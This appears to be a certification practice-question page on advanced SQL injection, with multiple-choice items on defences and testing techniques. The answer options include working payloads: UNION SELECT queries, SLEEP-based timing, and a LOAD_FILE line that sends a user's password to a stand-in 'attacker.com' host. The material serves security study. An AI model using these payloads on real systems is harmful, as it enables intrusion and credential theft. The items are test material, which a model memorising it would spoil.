A development team is reviewing a codebase that uses dynamic SQL strings built by concatenating user input. The team wants to implement a defense-in-depth strategy to protect against SQL injection. Which combination of measures should the team implement?

Use input validation and output encoding

Use parameterized queries and enforce least privilege on the database account

Use a WAF and disable error messages

Use stored procedures exclusively

A security engineer is testing a web application for SQL injection. The application returns a generic error page for all invalid inputs, and response times are consistent. The engineer wants to confirm the vulnerability. Which technique should be used?

Use error-based injection to trigger a database error.

Use boolean-based blind injection with a condition that is always true vs always false.

Use time-based blind injection with a significant delay like SLEEP(10).

Use UNION-based injection to display data.

A tester is assessing a web application that returns detailed database errors. The application uses a SQL Server backend. The tester wants to extract the current database name. Which payload is most appropriate?

' UNION SELECT NULL, database()--

' UNION SELECT NULL, DB_NAME()--

' UNION SELECT NULL, @@version--

' UNION SELECT NULL, current_database()--

A tester is assessing a MySQL database that has outbound network access to the internet. The application suppresses all output and timing differences are not reliable. Which out-of-band technique is most effective for data exfiltration?

Use UTL_HTTP to send an HTTP request.

Use LOAD_FILE(CONCAT('\\', (SELECT password FROM users LIMIT 1), '.attacker.com\a'))

Use INTO OUTFILE to write data to a web-accessible file.

Use xp_cmdshell to execute a command.

EC-CouncilWeb Application Hacking and Security

Domain 2Objective 1

Advanced SQL Injection (SQLi) WAHS Practice Questions (Page 3)

Part of the Injection Attacks domain, which makes up ~12% of our current practice bank. EC-Council does not publish an official question count, but from its 360-minute exam (~145–240 total, ~17–29 in this domain), expect 6–10 from this objective — we provide 42 practice questions to prepare you well beyond it. (estimate)

42questions here

9free pages

9concepts

Questions 11–15

11application · medium
A development team is reviewing a codebase that uses dynamic SQL strings built by concatenating user input. The team wants to implement a defense-in-depth strategy to protect against SQL injection. Which combination of measures should the team implement?
Select an answer first
12expert · hard
A security engineer is testing a web application for SQL injection. The application returns a generic error page for all invalid inputs, and response times are consistent. The engineer wants to confirm the vulnerability. Which technique should be used?
Select an answer first
13foundation · easy
Which SQL function is commonly used in time-based blind SQL injection on MySQL databases?
Select an answer first
14expert · hard
A tester is assessing a web application that returns detailed database errors. The application uses a SQL Server backend. The tester wants to extract the current database name. Which payload is most appropriate?
Select an answer first
15application · medium
A tester is assessing a MySQL database that has outbound network access to the internet. The application suppresses all output and timing differences are not reliable. Which out-of-band technique is most effective for data exfiltration?
Select an answer first

Finished these 5 questions?

Review the revealed explanations, or continue through the curriculum.

Next 5 questions →Back to WAHS

Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by EC-Council. “WAHS” is a trademark of its owner, used for identification only.